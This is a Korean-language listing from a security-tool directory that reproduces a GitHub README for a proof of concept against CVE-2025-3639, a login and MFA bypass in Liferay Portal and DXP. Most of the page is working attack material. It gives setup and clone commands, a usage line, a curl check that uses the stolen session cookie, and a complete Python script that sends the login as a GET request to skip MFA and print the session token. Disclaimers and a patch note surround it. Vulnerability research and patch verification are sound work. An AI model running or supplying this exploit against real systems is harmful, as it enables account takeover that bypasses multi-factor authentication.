Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-3639 — 로그인 우회 취약점 in Liferay Portal (버전 7.3.0–7.4.3.132) 및 Liferay DXP (2024.Q1부터 2025.Q1.6까지의 다양한 버전) | Kitploit
도구/GitHubGitHub/6lj/cve-2025-3639
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub6lj/cve-2025-3639

CVE-2025-3639

로그인 우회 취약점 in Liferay Portal (버전 7.3.0–7.4.3.132) 및 Liferay DXP (2024.Q1부터 2025.Q1.6까지의 다양한 버전)

저장소 보기
211개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-3639 PoC - Liferay Portal/DXP 로그인 우회

이 저장소는 Liferay Portal (버전 7.3.0–7.4.3.132) 및 Liferay DXP (2024.Q1부터 2025.Q1.6까지의 다양한 버전)의 로그인 우회 취약점인 CVE-2025-3639에 대한 개념 증명(PoC)을 포함합니다. PoC는 유효한 자격 증명을 가진 인증되지 않은 사용자가 POST 요청을 GET 요청으로 수정하여 다중 요소 인증(MFA)을 우회하고 잠재적으로 사용자 계정에 무단 액세스할 수 있는 방법을 보여줍니다.

경고: 이 PoC는 교육 목적으로만 제공됩니다. 이 취약점에 대한 무단 테스트 또는 악용은 불법적이고 비윤리적입니다. 시스템 소유자의 명시적인 서면 허가를 받은 경우에만 사용하십시오.

요구 사항

  • 환경: Linux (예: Kali Linux, Ubuntu 또는 가상화 설정).
  • 종속성:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install python3 python3-requests
    pip3 install requests
    
  • 네트워크: 대상 Liferay Portal/DXP 인스턴스에 대한 액세스 (명시적 허가를 받은 테스트 환경이어야 함).
  • 자격 증명: 대상 Liferay 인스턴스의 유효한 사용자 자격 증명.

설치

  1. 저장소 복제:

    root@kitploit:~
    git clone https://github.com/6lj/CVE-2025-3639.git
    cd CVE-2025-3639
    
  2. Python 3 및 requests 라이브러리가 설치되어 있는지 확인:

    root@kitploit:~
    pip3 install requests
    

기능

  • 이 PoC는 로그인 POST 요청을 GET 요청으로 수정하여 MFA 검사를 우회함으로써 CVE-2025-3639를 악용합니다.
  • 유효한 자격 증명을 사용하여 조작된 HTTP GET 요청을 전송하고 MFA 프로세스를 완료하지 않고 인증합니다.
  • 이 스크립트는 통제되고 승인된 환경에서 취약점을 시연하기 위해 설계되었습니다.

사용법

적절한 인수로 PoC 스크립트를 실행합니다 (<target_url>, <username>, <password>를 대상 Liferay 인스턴스 URL 및 유효한 자격 증명으로 바꾸십시오).

poc.py

root@kitploit:~
python3 poc.py --target <target_url> --username <username> --password <password>
  • 매개변수:
    • --target: Liferay Portal/DXP 인스턴스의 URL (예: http://example.com).
    • --username: 대상 인스턴스의 유효한 사용자 이름.
    • --password: 사용자 이름의 유효한 비밀번호.

예제

root@kitploit:~
python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!

결과 확인

  • 성공: 익스플로잇이 작동하면 스크립트는 유효한 세션 토큰 또는 MFA 없이 사용자 계정에 액세스했음을 나타내는 성공 메시지를 반환합니다.

    root@kitploit:~
    curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
    
    • 예상 출력: 성공적인 인증을 확인하는 사용자 세부 정보.
  • 실패: 서버가 오류(예: 401 Unauthorized 또는 403 Forbidden)를 반환하면 인스턴스가 취약하지 않거나 MFA가 활성화되지 않았을 수 있습니다.

  • 트래픽 모니터링: Wireshark와 같은 도구를 사용하여 HTTP 트래픽을 검사:

    root@kitploit:~
    sudo wireshark -f "tcp port 80 or tcp port 443"
    

PoC 스크립트

다음은 poc.py의 샘플 코드입니다:

root@kitploit:~
import requests
import argparse

def exploit(target, username, password):
    print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
    login_url = f"{target}/c/portal/login"

    params = {
        "p_auth": "",
        "login": username,
        "password": password
    }
    
    try:
        response = requests.get(login_url, params=params, allow_redirects=True)
        if response.status_code == 200 and "JSESSIONID" in response.cookies:
            print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
            return True
        else:
            print(f"[-] Failed: {response.status_code} - {response.text}")
            return False
    except Exception as e:
        print(f"[-] Error: {str(e)}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
    parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
    parser.add_argument("--username", required=True, help="Valid username")
    parser.add_argument("--password", required=True, help="Valid password")
    args = parser.parse_args()
    
    exploit(args.target, args.username, args.password)

중요 참고 사항

  • 이 PoC는 유효한 자격 증명이 필요합니다. 취약점은 MFA 우회를 허용하지만 자격 증명 추측은 허용하지 않기 때문입니다.
  • 시스템 소유자의 명시적 허가를 받은 통제된 환경에서만 테스트하십시오.
  • 이 취약점은 최신 버전의 Liferay Portal/DXP에서 패치되었습니다. 이 문제를 완화하려면 최신 버전으로 업데이트하십시오.
  • Liferay 보안 권고
  • NVD CVE-2025-3639
  • GitHub 저장소

면책 조항

이 프로젝트는 교육 목적으로만 제공됩니다. 저자는 이 PoC의 무단 또는 불법 사용에 대해 책임을 지지 않습니다. 테스트 전에 항상 시스템 소유자의 명시적인 허가를 받으십시오.

도구 다운로드